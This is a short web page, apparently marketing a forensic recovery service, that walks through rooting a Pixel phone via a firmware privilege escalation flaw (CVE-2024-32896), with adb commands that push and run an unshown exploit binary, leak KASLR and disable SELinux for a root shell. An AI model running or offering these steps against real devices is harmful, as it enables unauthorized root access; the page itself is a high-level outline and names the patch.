Rooting Pixel via Firmware Privilege Escalation

Step-by-step exploitation of a Pixel-specific bootloader logic flaw to land a persistent root shell without unlocking the bootloader.

$cat snippet_cve-2024-32896.sh

adb shell /data/local/tmp/exploit.bin --trigger
./pixel-lpe --target=oriole --kaslr-leak

Overview

A logic flaw in Pixel-specific vendor firmware allows local privilege escalation to root without unlocking the bootloader.

Setup

$cat output.bash[bash]

adb push exploit.bin /data/local/tmp/
adb shell chmod +x /data/local/tmp/exploit.bin

Stage 1, Trigger

$cat output.bash[bash]

adb shell /data/local/tmp/exploit.bin --trigger

Stage 2, KASLR leak & escalate

$cat output.bash[bash]

./pixel-lpe --target=oriole --kaslr-leak

After the leak we patch selinux_enforcing and spawn a root shell.

Mitigation

Apply the June 2024 Pixel security update.

#Android#Pixel#LPE#Firmware

./bridge_to_recovery.sh

AES-256 SECURED

$ whoami --check-if-target

Recognize this happening on your own device?

If these techniques are being used against you rather than by you, our forensic team can confirm it and help you respond, discreetly and without judgment.

[ Get a Free Assessment ][ Browse Recovery Services ]